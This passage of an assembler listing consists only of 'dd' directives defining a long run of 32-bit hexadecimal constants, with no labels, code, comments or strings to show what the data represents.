		dd 6FE38692h, 47DBE600h, 4D7276D5h, 9760000Ch, 0E94B43ADh
		dd 1E3E1ABDh, 0BAEE0013h, 0D735DFB3h, 4C52004Fh, 618590C3h
		dd 5B00348Dh, 0F887EE4h, 7E804D4h, 0F4EB7C63h, 30B091C9h
		dd 41C070EFh, 0BB3EF812h, 1C00681Eh, 0D2AFF684h, 0D4A83DCBh
		dd 0ED554000h, 0D80BCE19h, 7B185000h, 0AB487E06h, 4F714D4h
		dd 2400EA5Eh, 0D9CCEFA4h, 4D4C2809h, 73F0027Eh,	40695BACh
		dd 989D4898h, 656C18A2h, 938570EDh, 8394D207h, 0E3809669h
		dd 32E4A8Ah, 0B30D6789h, 0D3D87902h, 0B0C19104h, 59517280h
		dd 0B85C9C0h, 2DBE03C2h, 5B68D600h, 920065E9h, 0D7D48136h
		dd 42BC6h, 0B4784ACEh, 0C1763115h, 0A900F27Dh, 1A23CD17h
		dd 6CA4C4h, 0CFD978Ah, 757D24FEh, 3CC74Ch, 8C652BA1h, 0E9FBE1h
		dd 0D354596Ch, 0B10E196Bh, 2031F700h, 0FEFC1DD1h, 652E00ACh
		dd 0AB7C146Ah, 0F407DC61h, 0EAE16468h, 35CAAA80h, 0D95200EBh
		dd 3CE72944h, 0D7006511h, 2A50F9F5h, 5C437DB2h,	6D0F34DDh
		dd 8500805Dh, 0C8FFA0B1h, 0E1520C00h, 0BAC51B81h, 75CF009Fh
		dd 34A3E917h, 8400C0BFh, 0B23BEB0Bh, 15B9B0Dh, 5D7A2A82h
		dd 0F0F3F7B4h, 0A007B5C4h, 0CECFDA27h, 7FFF0CB0h, 2B88006Bh
		dd 2DC22A1Ch, 0DD5CF672h, 69540F56h, 8C0C8017h,	0E1963ABh
		dd 0B7C233D6h, 0AD890180h, 0C60F436Ah, 7834CDBh, 0DC207D10h
		dd 3CD15A62h, 0C4F054BEh, 80BADA18h, 14BF4689h,	0C30D6100h
		dd 0BB6CA363h, 3C5B58A0h, 20AA1000h, 162D0C87h,	19696200h
		dd 0CD269B7Dh, 0D0290099h, 288BED6h, 0E00372Dh,	4330B521h
		dd 0BA05ABh, 0CC407850h, 8E4C8107h, 0B458A4E6h,	457A006Dh
		dd 0AA89CD2Ch, 8B7E00E0h, 902BE1B1h, 0C8003DB7h, 6A87C6E4h
		dd 795485h, 0FF0A63E9h,	82D3E8B9h, 0AF3F8400h, 0F767F22Bh
		dd 75343A7Ah, 0F3630E80h, 0D969C895h, 2F8B6800h, 837F4998h
		dd 34AA01D0h, 0F111FB35h, 2C4FC4A5h, 0E2287A00h, 43730A07h
		dd 0F8E0EEh, 42888EC7h,	362BE5E6h, 0DA41D00h, 0FD668310h
		dd 54C91E65h, 0CDDDC6E7h, 7D00486Bh, 6C44B080h,	4A9213h
		dd 99E225A1h, 855ACB61h, 7839D4E7h, 0E7A3AD0Ah,	200E400Bh
		dd 7F4A6386h, 37B4B894h, 5E72488Bh, 78ADDE00h, 0AC7536BAh
		dd 1C70D100h, 0C05E5366h, 68F507A7h, 0C020B9B8h, 0D7C7791h
		dd 0A4FFA500h, 0ABD93318h, 0E23D3BE4h, 21E5D580h, 0E055D326h
		dd 0FC6C100Bh, 0A3C50767h, 1EE3B701h, 1C11CF8h,	0AF7F514Eh
		dd 0E00424DBh, 0BB504916h, 0E507848Ch, 0BDAE8D23h, 0B9EA2E0h
		dd 3FB7FAC9h, 0FC807FD0h, 3968E59Ch, 513E6BD8h,	0C6AEE005h
		dd 0BA4A20h, 8E422844h,	0A3F3B6DEh, 179E0A0Bh, 80BC0FB2h
		dd 7C5ACD56h, 0A56A008Bh, 0C8D69A70h, 30080EAh,	0F6A05E37h
		dd 0E4FBBDh, 8BDA2D78h,	47986BB0h, 0D0074A00h, 0FE8A4086h
		dd 0B7CC002Eh, 5A6F7AB6h, 310042B3h, 0AB168227h, 0E640D6Ah
		dd 0F0E6DFF1h, 0F3EFF40h, 2007BB54h, 0DB2476D6h, 8C97B3A0h
		dd 81090317h, 25E829F6h, 18E6BFE0h, 0DA007577h,	0A82E243Ah
		dd 1EE4922Ah, 0C09A66D3h, 0B0947AC7h, 15001899h, 0C59F07ADh
		dd 52EF16h, 813B173Ch, 0F58CC3C1h, 20E8F007h, 56705751h
		dd 164F707h, 0EEEABC12h, 43DDAC55h, 0FA00F196h,	7759A89Fh
		dd 2A25ABh, 0EA6FE87Bh,	7AA40122h, 2C315E00h, 9ACB450Ah
		dd 284B00D0h, 0BBE18B17h, 1B003F67h, 0C9016171h, 0C7855EC7h
		dd 0A0C0CB84h, 0E7A4D456h, 0EE913300h, 872F7B9Bh, 238E3041h
		dd 632AA190h, 9AEC511Dh, 2039F5C7h, 0B5FF72A0h,	0B7C0F5Ch
		dd 0BBFA0EFh, 0D00E2C91h, 0B2507EABh, 4B08481Ch, 0E8D0958Ch
		dd 0FDB887h, 0B929854Eh, 0F0CBB2E1h, 6C05DA00h,	4D3B47E7h
		dd 907B6536h, 0C7848044h, 0E800C848h, 0CC04A1CEh, 5C865480h
		dd 900E5FEh, 0F44FC723h, 4100D9A7h, 0F5D5220h, 0B56A0Bh
		dd 0D1A97C80h, 0D8B674B9h, 0EA0013FAh, 0E12053CEh, 0B7F577h
		dd 7E3CC978h, 68F01BBh,	399ACF00h, 0CB99976Fh, 0F277F1Ch
		dd 3AA53D41h, 5FFAF661h, 9BC4D824h, 96395Ch, 1D1BE70Ah
		dd 0C7D14Dh, 0AA969D6Dh, 0C8CD6F22h, 3F578005h,	65C0A1A8h
		dd 0F41F55A9h, 0CC7A0124h, 56E44451h, 21B88048h, 0F95F33D8h
		dd 7EC000B0h, 80133FF7h, 4900B389h, 511A81ECh, 0A86FAh
		dd 4F42D015h, 1F7F5D26h, 53DE6A00h, 72B175E7h, 740E0A4h
		dd 0E202BD20h, 789CD03Eh, 0BB0133FDh, 98A8F719h, 94E82986h
		dd 89002h, 0DD911F3h, 8560A04Bh, 0B71B1600h, 2D454993h
		dd 0A772094Ah, 57005370h, 0AC3E25BDh, 0C1D1FD00h, 4D2EEA56h
		dd 4CFC1E7Ah, 9AC5407Fh, 34C9A0BEh, 22F50700h, 0ED5C80E9h
		dd 0FE920DABh, 604211CAh, 3C01A348h, 0CF8E459Fh, 0A4209BBEh
		dd 367A3066h, 1D43C18Ch, 9002175h, 0D1CFE091h, 0FA9BB1h
		dd 48DE858Dh, 0F260FBE8h, 0A09431Ch, 0CE102F00h, 1D50AF95h
		dd 0E874C5h, 0F48C064Ah, 400065A2h, 1F23DDB1h, 0ECFD13h
		dd 0B38EEA0Ah, 1DC5262Eh, 1E63F807h, 8C5AC99Eh,	0E6B9AB00h
		dd 1081676h, 0B3572250h, 40DDD088h, 51800D94h, 530E18E4h
		dd 84FFB9h, 7F140AE8h, 1A3B86Fh, 19330AEh, 0C0ED54F8h
		dd 19009E3Ch, 0E9904759h, 0A45E2Ah, 0FDA3E5F9h,	20217061h
		dd 726A5709h, 7710027h,	7B46279h, 0A9D0234Ch, 3D29500Ah
		dd 0AC0FA79Dh, 0A081E35Eh, 4515C52h, 414800F6h,	0D6437135h
		dd 0B75C1DAFh, 5A3900E5h, 0F87BFCCDh, 0F4336080h, 1D27FE37h
		dd 0F2FD0900h, 0B85543E3h, 0A9AB1C03h, 1E8680F9h, 5EFF2898h
		dd 0B1E60B07h, 0EF604C05h, 0F9DD01h, 0CA40082Eh, 92CECD57h
		dd 5A10F500h, 0EAEDA0A6h, 0A8A400A2h, 1C8D2E3Ch, 7400FCDBh
		dd 2B7D7386h, 0C960E6h,	396F0AEh, 0DC72FD65h, 0FF3D40F4h
		dd 9DEF8092h, 1DC45175h, 73FB001Bh, 584A30Fh, 46004A04h
		dd 0E9C09B2Dh, 0FF5F42CDh, 33416C21h, 6BC0EF67h, 0A9FF3C1Bh
		dd 0FCB7A79h, 0AF32B59Ah, 4D00760Fh, 0BA7D29E3h, 9DC99438h
		dd 8A80BBDBh, 91B322B1h, 312C096Ch, 7C80056Fh, 0FDF2187Eh
		dd 0A378D8E8h, 8CE4D100h, 0E7B1386Ch, 0FF860013h, 57ACAF59h
		dd 14382298h, 164F9EBAh, 41E0E2C0h, 0B08EED8Bh,	0C3D400ABh
		dd 0BD815D33h, 4CB8FADBh, 19F270F5h, 0A741FB00h, 0F620A6C8h
		dd 8A960E6Ch, 2D8049CDh, 3E618F71h, 117F4800h, 0E23B886Fh
		dd 0AD5400F7h, 4E891E9Ch, 29001B76h, 8F7844EAh,	769C92Fh
		dd 0CEE50421h, 3301F03Dh, 1A00ECE3h, 0B3FC6609h, 4CA22AD6h
		dd 400050Eh, 3312C394h,	6E00130Dh, 0FCED2D4Eh, 2E3786F8h
		dd 3F53931h, 16102E3Bh,	6605A0E0h, 303E0200h, 1374FFC4h
		dd 0A6DA00D5h, 167ABD6h, 7676776Dh, 41467500h, 50FB4CB6h
		dd 0F7440059h, 65D038EDh, 0C307E453h, 0AD512156h, 448534E0h
		dd 3E9A0129h
		dd 69E5BF50h, 0CC88DCFEh, 400D15Ch, 0DBDD670Fh,	2C8128C0h
		dd 443242Eh, 0B6050096h, 864F741Fh, 0F8BC9900h,	0F7CFAE97h
		dd 0E6BA1E81h, 420640DCh, 62B4B6B0h, 9FF3D005h,	4CC01865h
		dd 808A2Ah, 10E6A647h, 0F576DEDCh, 3042B001h, 8D8F6E1Eh
		dd 3DD76BFCh, 0AF8089E3h, 91EC6227h, 512CC802h,	85009CDEh
		dd 102AE09Ah, 785B0768h, 0F0D919B3h, 88309CE9h,	0E517DE03h
		dd 0E016AB36h, 16029966h, 0DAAE47h, 2F28CB46h, 6F065633h
		dd 0B91012C7h, 76AA04CEh, 0C7A3FE85h, 6CF18078h, 0EF1C3DD2h
		dd 0B5C0FB8Bh, 5092BDC3h, 388D01EBh, 0C2752A91h, 0B230978Ch
		dd 7B890100h, 980D81F1h, 0BDC44CFAh, 0E800216Fh, 0EB95DC88h
		dd 8E68030h, 0B04E1CECh, 2A400E4Ch, 3B0004D8h, 0A456E91Bh
		dd 599C2B02h, 0A061EB66h, 18B56324h, 81D6176Bh,	360400A5h
		dd 3167AEADh, 0F5316060h, 2E4BDEE3h, 1473EDh, 447F5F85h
		dd 8A00CA75h, 0EFD44D3Fh, 6B43EEh, 2F20DC8h, 0E8948C4Bh
		dd 4F7C0600h, 403085FEh, 5FA5007Bh, 3FD3C5D8h, 93005C7Fh
		dd 0B0F04AF6h, 2865956Ch, 0CCB9E0h, 30CCA81h, 9B268092h
		dd 550A1A01h, 0F8823727h, 764B6C8h, 12B33BF3h, 6EA0F0FBh
		dd 2707A968h, 979DA3FFh, 42A1C610h, 40C7380h, 859EE789h
		dd 1225C034h, 0F817F901h, 8200159Fh, 45E7BBABh,	1EE30071h
		dd 5E3A6D05h, 0C6E63EB7h, 0D9F0A30Bh, 9294A3D3h, 0E214E849h
		dd 0C8DE1EC0h, 784D40E9h, 9B875C74h, 28A64833h,	91C3B826h
		dd 49D00C9h, 134FBF77h,	601409Fh, 0A5445848h, 0A8413235h
		dd 2D6062F1h, 0DDAF012Ch, 398C2BE3h, 848806Bh, 0EF9AB5E9h
		dd 1DD4007Fh, 0E6282FE4h, 0A0986A27h, 0C6809100h, 15896FE3h
		dd 0BAAF00B2h, 0BF7C63EBh, 4C010267h, 14AB7593h, 0FEEC2DC4h
		dd 3838C24Bh, 0E8A169CDh, 0DC9AA4E9h, 0E403228Ah, 559F1817h
		dd 89A7B01Ch, 93010074h, 289C813Fh, 0CE18E92Ah,	0BA15D7Bh
		dd 97E3008Ah, 99E53252h, 0A00B121h, 3A930A1h, 0BB6E06h
		dd 0F43ED8Ah, 0F612EF08h, 6FC4D5A0h, 0E5802B50h, 807BD70Ch
		dd 76115069h, 4431005Dh, 0DBB2944Bh, 0B9009891h, 63CA163Ch
		dd 0A1E42Bh, 0C888CF6Ah, 0C01AFBBh, 44361F00h, 537B765Eh
		dd 47120F68h, 0DFE0833Fh, 1C6E7409h, 0D54DA800h, 68A33B25h
		dd 71150038h, 79774316h, 0AB05DB17h, 4CCF913Ch,	214B202Ch
		dd 2D9C9BC8h, 55AF8440h, 2387E7h, 7BBDF30Fh, 0BC0979E9h
		dd 0D0A64107h, 45931D6Fh, 6E680026h, 0B712B124h, 18003B33h
		dd 5399A4C4h, 1CCD6F82h, 5277DA68h, 88CC00DFh, 0D6AA844Fh
		dd 9EF27C03h, 0F3177531h, 47080007h, 5063141Bh,	80E27432h
		dd 0F6D5F500h, 0CC35B2D4h, 7F0930DCh, 0BABD2D28h, 74C6773Ch
		dd 2B38480Eh, 0E1D24062h, 0CF2ADCh, 1F6EF875h, 58238CCBh
		dd 0BB39F600h, 14F274BFh, 30C40042h, 864A3525h,	1800F423h
		dd 0CA57C50Fh, 0A19E810h, 0EEAEED3h, 1B28E080h,	8523E756h
		dd 618E41E5h, 0C917C484h, 807E6B00h, 6C2B19F3h,	0F4414CFh
		dd 8100F0C1h, 8A75256Eh, 0E575405Eh, 0B924D300h, 0FEA3D6ECh
		dd 5578D1h, 681778BDh, 29B68CAAh, 7E3CB700h, 0B472A73Dh
		dd 4400738h, 0F326F91Bh, 5AA82AB3h, 0B9291A6Dh,	0DD6120FCh
		dd 3C0C3F31h, 0C691A000h, 0F6F14180h, 0D08CA0BEh, 90D50F3Eh
		dd 0A48127ECh, 30A89E7Ah, 9818B044h, 2A18AA6Dh,	3CC7445h
		dd 0DEF1180Fh, 6800ECBCh, 0EB698367h, 9C199Dh, 9AFA43C8h
		dd 0CC3117FCh, 0C0A9DB00h, 0E6C2412Ah, 430F000Eh, 95705A8Ah
		dd 0A007A3FDh, 0F2F1F918h, 0E6474E6Fh, 70B32Ch,	97D5F730h
		dd 8E3F03EFh, 5B5FB900h, 48BF2039h, 11D200B4h, 0D0EE0B6h
		dd 0BB037D35h, 29C92682h, 0B7400CBDh, 0B8B0304Ah, 1A601F24h
		dd 0B30BA18h, 0DFC100D2h, 960AEFE7h, 420067C8h,	4F3CC20Fh
		dd 7EF1EE7Bh, 4E0900DCh, 0F9BF725Fh, 0E0E8E7CAh, 0FA007CEAh
		dd 71A5611Fh, 8A3E86h, 560AEC4Ch, 8FDB9142h, 5F9EA605h
		dd 24300B38h, 15314A44h, 1CBF926Ah, 98A27600h, 3CDFCFDBh
		dd 8818D955h, 0E0BAF968h, 461C4516h, 30EEAF2Bh,	90EAA984h
		dd 734B3660h, 92F3704h,	9970DCF1h, 5A8C5A56h, 477EACD6h
		dd 24606F18h, 0F660882Ah, 0DD105485h, 89B1EEAEh, 50FD0868h
		dd 0EE0DB836h, 0FA782B5Fh, 0C7698430h, 0B6315893h, 0DD6A12FCh
		dd 0DC2A076Eh, 4FD0ACAFh, 1529D13Ch, 0C23C0B0Fh, 908F3D91h
		dd 0C6585624h, 4817AFD8h, 82404F52h, 30D7AD49h,	1A1D9676h
		dd 34AB585Fh, 9262E984h, 69821660h, 0F14F420Ch,	0F0C3027h
		dd 385860F8h, 570C04B2h, 9CA81E20h, 82444E52h, 3390D421h
		dd 425DF097h, 80A265CFh, 612B189Eh, 0D686B857h,	48906718h
		dd 71F670B9h, 0F600D847h, 0AF41D92Ah, 8FE8FF96h, 7FB8F3E2h
		dd 4032D231h, 108FF120h, 0B88205F9h, 2E003EA5h,	528F3777h
		dd 29C29813h, 922E7EF2h, 0DE28C044h, 7135D487h,	0A0856C29h
		dd 217CA311h, 8A40B61Ch, 0D09C8999h, 1440D512h,	2FDC3CFDh
		dd 2EB0A016h, 0A715787Ch, 2B18498h, 56595857h, 41390036h
		dd 0DD6E52CFh, 0BD48A38Eh, 0F04A30D0h, 9016B3B8h, 258C2420h
		dd 75DA0940h, 81CF4804h, 21086FCCh, 67F2E8h, 64A2C10Ah
		dd 38137663h, 17B0CEB8h, 60CBEE50h, 3C4DB83Fh, 74B72437h
		dd 4C93A820h, 0B940FCE0h, 0A964A35Dh, 445D377Ah, 6CDC8CF9h
		dd 80C5616Dh, 22420C1Eh, 3611C0F8h, 0C254C9B3h,	63FF1628h
		dd 9C0D9460h, 7B6F4404h, 0D130DA6Bh, 554C36FAh,	0CE5850FDh
		dd 0E2585963h, 1870A57Ch, 7248B239h, 1F47FE8Fh,	0A9E389D6h
		dd 30D360D4h, 0AA60EE07h, 2D17F658h, 214AE47h, 552541B7h
		dd 2C43ED6Fh, 8BCC9FC3h, 0F2680FF4h, 28C6ACEBh,	76C43FB6h
		dd 73B0AF0Eh, 0CCE5495h, 315A26C6h, 66925614h, 0AB20A068h
		dd 0E2521415h, 6012ACCCh, 0ADA014C8h, 69899843h, 5D1EE503h
		dd 2165809h, 0E6F002B2h, 40B48362h, 24101460h, 97A03863h
		dd 5C311F8Fh, 0A53640B5h, 30E6A707h, 2EFF0F45h,	0CD144378h
		dd 0B09841CFh, 2639A121h, 801426C2h, 4F44743Bh,	2FE8AB33h
		dd 0A1C994Ch, 1C2048EFh, 0E197340h, 308128EAh, 0E0D760C8h
		dd 45416AEFh, 0EB603891h, 62447E17h, 796308Bh, 5968D58Ah
		dd 70C4E939h, 0CCA133D2h, 13104CECh, 67439505h,	0C40C3745h
		dd 7A61491Eh, 9EF4A546h, 0B06E0671h, 761C302Eh,	0A4694565h
		dd 18334467h, 16A13E77h, 61CEB5A1h, 38933281h, 0CA36508Eh
		dd 9F584188h, 7B6104Bh,	14D60583h, 30DB41FDh, 0D32B990Fh
		dd 0BCA28129h, 0C082191Ah, 0AC82A72Dh, 0CC87A6CBh, 820948D2h
		dd 0B06C06B8h, 0FD6F1910h, 0A4A960DDh, 0C3CF529h, 0A0B4EE2Fh
		dd 82065A2h, 0EFF00391h, 0FA00989h, 3090E908h, 41263E1Fh
		dd 0A7F93C19h, 851038BCh, 106C1323h, 9AF54006h,	53F21938h
		dd 0D00D9042h, 749001AFh, 73CCF7Dh, 2A61844h, 0C6A37E88h
		dd 58363EB0h, 283B5C32h, 4F4C6068h, 0F014B078h,	1698980Bh
		dd 51E226Fh, 81709020h,	30AC36D4h, 0E098AAA4h, 94F2F31h
		dd 0B470A26Dh, 8235CE8h, 3FBCB626h, 7B014ACh, 438AF1B8h
		dd 611650F8h, 0C0CDA5Bh, 0E298202Ch, 26BCB05Ah,	0B4F9F8h
		dd 4FDA0EB4h, 18C1698Eh, 0AEE0B6DCh, 6880BFF5h,	586167C1h
		dd 6005FBD0h, 0E0B09E78h, 0C0F57383h, 986BB298h, 293365E0h
		dd 0AFD00411h, 4F50800Eh, 0A8A0BE85h, 18C413E3h, 0F0835C62h
		dd 6F207C5Bh, 2A8808F5h
		dd 1A64CF05h, 2126E00Bh, 44F656F8h, 0BDC0F872h,	0E5429ED4h
		dd 96189890h, 0B450393Ch, 9D56803Eh, 40D0F0C9h,	0C5482100h
		dd 599D4A8h, 0F2D8ACh, 430AF8D4h, 8050F4EFh, 0BF7C4EF0h
		dd 8906BF0h, 0D0DE6898h, 78BCBE39h, 185DF82Ch, 91C8B70h
		dd 3A4A76D5h, 0FC19E007h, 9C6C888h, 1248D99Eh, 2C425FC9h
		dd 810C1CD8h, 0D0E3F847h, 303D4856h, 0C677EF05h, 1D387041h
		dd 4C247CC8h, 0E798F039h, 9034CF28h, 168F3078h,	0E4A02FB8h
		dd 9C318C98h, 0B4FFC01Bh, 88D21894h, 1F33AE17h,	6370B68h
		dd 0C121D085h, 64CCCE1Ch, 88C5BCF4h, 0CD37ECFh,	0FC8183Ah
		dd 9A2F1861h, 0AB1F08DEh, 1CA65873h, 3404F20h, 762CF44h
		dd 10180820h, 19BCF22Fh, 1A303581h, 2E8F6020h, 1254CD54h
		dd 0E8804322h, 72C13F1Dh, 18647051h, 340C8094h,	909D0813h
		dd 0CAD81238h, 748038Fh, 1BE1405Ch, 0F28EE18Dh,	0DE0E6840h
		dd 6BD05063h, 3B182EBAh, 2ABC8A5Ch, 10BE18A8h, 2D3E8C6Fh
		dd 0C81B3043h, 0A031FD4Fh, 0B0EC97A4h, 0E2BA3240h, 48C34DF8h
		dd 8CAAB4E1h, 894C6C8h,	90C150E6h, 6FC4A04Ch, 0F8CA5060h
		dd 18D86620h, 0AF2020E2h, 380F14F4h, 501980ECh,	347720DEh
		dd 39C44E94h, 30C16AC4h, 388CFF5Fh, 5B18C351h, 185C8948h
		dd 92885E69h, 0A3C4A165h, 7D6F7C60h, 0DFD8A01Ch, 32649091h
		dd 0E2A009DDh, 4A2E7C68h, 718F450Bh, 1A1C0540h,	902CC813h
		dd 0EA28092Eh, 300143C3h, 0D80BCA16h, 20989E4Fh, 64896E01h
		dd 72367861h, 808CC442h, 0CDE02EB8h, 67D89141h,	0C938326h
		dd 0A8E8A0C4h, 83885C64h, 80090084h, 58C1CE8h, 28406644h
		dd 1DD49233h, 276FEF01h, 4150A852h, 0A0529940h,	1FC88F60h
		dd 1B10C299h, 34FC020h,	0AF472FF1h, 302CDAA5h, 58BB883Eh
		dd 0FF2474F4h, 0BF70EC63h, 9F8612DDh, 0F6CC05D8h, 8F18800Eh
		dd 249022F3h, 8205932h,	0E88848F5h, 26389040h, 0A90FA24h
		dd 5F428E0h, 7744AF64h,	17D42370h, 0B48242FAh, 38685E96h
		dd 8C523CDh, 95251Ch, 40CAC8C2h, 61F7CF1Ch, 820E20C0h
		dd 30D0FDDBh, 4068EDCh,	3A2FDA0Bh, 8210231h, 5CACF45h
		dd 9253F5C0h, 1E90DB4Ch, 1B136160h, 3871884Ch, 137833EFh
		dd 0E80C3958h, 0F0B0282Fh, 327C92C0h, 0CD102E5Fh, 591CA08Ah
		dd 0DC51606Ch, 3084474Dh, 4ACF4830h, 2FDB12BCh,	40C053A8h
		dd 5DCA6E34h, 133AEEDDh, 60327849h, 58742886h, 0A8FB6300h
		dd 9244138h, 2997D4F5h,	3BEFD403h, 15902437h, 58D82C50h
		dd 8D13D39Eh, 8487F53Fh, 16480BABh, 137B06D4h, 28E1BAF3h
		dd 50D9763Bh, 0D0B00784h, 0E0064F24h, 0BC026F0Ah, 1639CF04h
		dd 588748D4h, 60C00D84h, 1665F16Fh, 185B861h, 68E578B8h
		dd 4944B42h, 6103BE29h,	7316E0D0h, 5058B09Ch, 25AF9006h
		dd 0A4967454h, 0E9B8C804h, 0A491D45Ch, 9C30CE94h, 4C149A23h
		dd 4F1F38C8h, 0CECE44Dh, 8080657h, 5FE8CC50h, 13083B66h
		dd 0B0AF7B10h, 1B8F0390h, 26EEE0BEh, 0FA31787Ch, 880E8815h
		dd 5049CFE0h, 0B0C8D8B4h, 3B2F1918h, 701E7810h,	55C2E00h
		dd 34181328h, 318234C3h, 0EE080219h, 2FF42039h,	449F4324h
		dd 0EF284E18h, 3F1F0927h, 0E883326Fh, 916D238h,	480BAE77h
		dd 0A96CAF5Ah, 1CF08445h, 0C02F5492h, 92ED6F08h, 0D1C83208h
		dd 40C1A2F8h, 2073F98Fh, 0D8A09BF0h, 9498620Fh,	10B869F8h
		dd 74C888D4h, 10DCE34Dh, 8110EC29h, 204922C6h, 0F920C5D7h
		dd 0C32520C8h, 70813574h, 84AF7084h, 0D2D8C2EEh, 2E4F4060h
		dd 0BF7093E7h, 0C2FE40Eh, 987D9046h, 0B4CF2E60h, 0E4E8C34h
		dd 0A630F88h, 36522BC8h, 0D0082638h, 0CA981662h, 0CF910213h
		dd 605B7B02h, 90784D64h, 708B61C4h, 0D479C72Fh,	0F5502D8Fh
		dd 1E63AC88h, 315A3D10h, 0CF680130h, 0E02461C9h, 28CB2574h
		dd 0EF0C0420h, 807E9CC8h, 0ED50736Fh, 0AE5C11A8h, 90967DC4h
		dd 85B1A018h, 5448481Ch, 0BD4FC1B7h, 0D670249Eh, 0DC120516h
		dd 7F660C2Ch, 0D578205Eh, 48ABF624h, 0A5110F0Bh, 0C402C91Ch
		dd 0E122BCAFh, 1C202C60h, 6139248Fh, 1C281314h,	40E28A74h
		dd 913A0C9Ch, 0E94C3CD8h, 0C9878ECh, 1A80C0A5h,	0A8F5F392h
		dd 4ABC9831h, 36C0DB1h,	0C7D42280h, 9A11F9D5h, 6C30DEEAh
		dd 13A0BAD0h, 2C407831h, 0B004F43Ch, 32BB553Ch,	28A6530Bh
		dd 4C98D08Ch, 0AFEFE0CBh, 0A6149C90h, 0EC2318B0h, 90368AF0h
		dd 887E5434h, 20109A8Ch, 0A33C13E3h, 0BDD809F2h, 19140372h
		dd 0FD6024FCh, 0AD2E3C78h, 30AF0908h, 0A046428h, 17A4A80Fh
		dd 0DF5446BFh, 872490C7h, 330C60EBh, 65CD0855h,	0D36818CAh
		dd 280C183Ch, 40928E4Fh, 1918D329h, 286721BCh, 0C07F3770h
		dd 7887C6C4h, 0DCC744Fh, 904A586Fh, 0D4405DCDh,	18430E6Ah
		dd 88B7B92Fh, 0F8A0800Bh, 0A8CAB5E9h, 0F06E009h, 0E878CD72h
		dd 0C02CB9BAh, 0A31C0B36h, 76E41D50h, 2F0470F1h, 8FF9E30h
		dd 0B1DB811Eh, 0AA0A60ECh, 0DD50293Dh, 2A4A16E8h, 77C26404h
		dd 9EB60C0h, 8FECA13Fh,	43B0C028h, 3B4981B6h, 4361620h
		dd 5360104Eh, 0F8BF7C07h, 5CB2D864h, 5DA3C79Dh,	8C02A91Bh
		dd 0C583BD0h, 0EE488898h, 3B8AA024h, 1A1130A2h,	0D49CF630h
		dd 743984A0h, 0BD3D6CA5h, 63609640h, 0B696C00Fh, 38E70C4Ch
		dd 18AB5CCFh, 9D770F0Bh, 3B9644C5h, 0A1F70A0Bh,	0D906B6D4h
		dd 0D839863h, 29BE1745h, 0D2655671h, 1C808C68h,	0B4C4986Fh
		dd 0B00F5840h, 85E2440Ah, 4F0AD8D2h, 9370EC23h,	4440E980h
		dd 0B9197116h, 39A3C0A0h, 5A60F213h, 9480BDF0h,	66C41F78h
		dd 75640043h, 50F996FCh, 16F3D800h, 5D4188CFh, 7BA307D5h
		dd 4AB4A944h, 2AEEE018h, 73009B5Fh, 0D57D4184h,	15651706h
		dd 141092B4h, 11712E00h, 41816B40h, 247F1D29h, 0FD1868A8h
		dd 3D209E7Eh, 7BBA020Ch, 11D9E7E4h, 97D14A0h, 684035FDh
		dd 0D92D01DDh, 3DAE2514h, 545DD017h, 5A247C14h,	626FC130h
		dd 0E2B9D3h, 121E97FDh,	91AB4403h, 1F5FC413h, 7CD18540h
		dd 8D78418h, 57C0244h, 64B74500h, 9A37E479h, 0DD241878h
		dd 0D63F10DFh, 0F0CFF8F9h, 0F23C5CF1h, 7D348108h, 0CD9D0677h
		dd 0F3336808h, 18F5B03Fh, 50D3E211h, 0A4E8BF32h, 7B3C9D1Dh
		dd 0D4A5270Ah, 0C40D283Bh, 80C14971h, 47C58AEh,	2750A44Ah
		dd 0AF4A37Bh, 0DD07BD70h, 0C8841990h, 5A84AE5h,	3B6A6171h
		dd 7B5DCC43h, 0ADF02802h, 0F8C55688h, 0A490A500h, 39A6C481h
		dd 3AEB5103h, 0A0C73B67h, 0F77ED3h, 0D6F9C85Ah,	74934E90h
		dd 56629E00h, 50AF1AEBh, 317A01C4h, 895AC5D1h, 26184847h
		dd 986D0508h, 9DFA0069h, 0C35AD80Ah, 0BAF8C606h, 0EE404AF1h
		dd 5BF7C5Eh, 1A80D347h,	403C3325h, 0C48F24B9h, 0DA00EB54h
		dd 9AD91125h, 0C473A7h,	0BE401EBAh, 0BF74367Ah,	0F4571A05h
		dd 5484DA80h, 0FAE82421h, 0C1E7FDE8h, 104CBAE8h, 4CDFE9D9h
		dd 3D00535Ch, 40CCA766h, 654A9AEAh, 30D77067h, 65E01A4Ch
		dd 1F988B20h, 15FE3E7Ah, 3A8714BAh, 58297261h, 1F92848Fh
		dd 81502B8Bh, 0D909379Eh, 0C487EAC4h, 0AC940FFEh, 0BEBD93B0h
		dd 0C8968331h, 28A3311Ah, 3B848164h, 5072AFE4h,	0DB359EC0h
		dd 0A0650AEh, 0D2DDFB69h, 74DA3050h, 0FFD73AF0h, 1FFED0D7h
		dd 0F8221499h, 279B3A78h, 0A144FA07h, 0B8AE41BFh, 50405CBEh
		dd 6CED180Ah, 0BA02909Ch, 0B9D9E921h, 4F47F68h,	9AA04016h
		dd 3ACC5550h, 7A689760h
		dd 0AEF7B958h, 9AA81C30h, 0E0405889h, 1366C37Ah, 8E98F260h
		dd 2E150574h, 42415288h, 0C47ACFC4h, 84BD3845h,	0DDD50B8Ah
		dd 93178890h, 428AED8h,	9AD5E4EAh, 81A0106h, 0A6E1F7BAh
		dd 745C0FD9h, 40580ECCh, 0E7E01579h, 0BF73B0FAh, 9BBDDA1Dh
		dd 4281182Bh, 0A37EC5FAh, 53DAE7FCh, 7603103Dh,	7306B496h
		dd 74BA8014h, 695A1BD8h, 71E0C088h, 6F9A1DBFh, 58382494h
		dd 9D39AB40h, 9A60E1E1h, 0D04EEE42h, 23DB3306h,	7A2429DFh
		dd 0F0300860h, 48BAD9FEh, 3A0AE48Eh, 7D8247Eh, 0C7BE3B68h
		dd 0F841A25h, 3A032AE5h, 2CE5BC8Fh, 3D0D03A4h, 60ADE9B9h
		dd 3080FBF1h, 0F27C57Ah, 80E044BAh, 35DFA01h, 0F08E1A83h
		dd 0D1427AE0h, 29C05810h, 5B4805Fh, 9E3AB4A0h, 0F5AA0C1h
		dd 2422BF5Ch, 230396CEh, 30121099h, 705CC91Ah, 3F9CAFD4h
		dd 7A2974C8h, 0CD825C26h, 0A14659F2h, 2791FA8Ch, 5D802823h
		dd 0ADCF81CAh, 0D583E4A7h, 0EA9EDB8h, 42C7BA81h, 0C0C05455h
		dd 0AAAF5F32h, 0CA3DD8A8h, 0B6BA8007h, 0A8850CFFh, 463A8802h
		dd 5749497h, 3C2CC272h,	0F4E442A2h, 0A096BE23h,	74D7A204h
		dd 11F0B9Dh, 7A0F28B4h,	3AD030CEh, 83024702h, 9C9B4CDAh
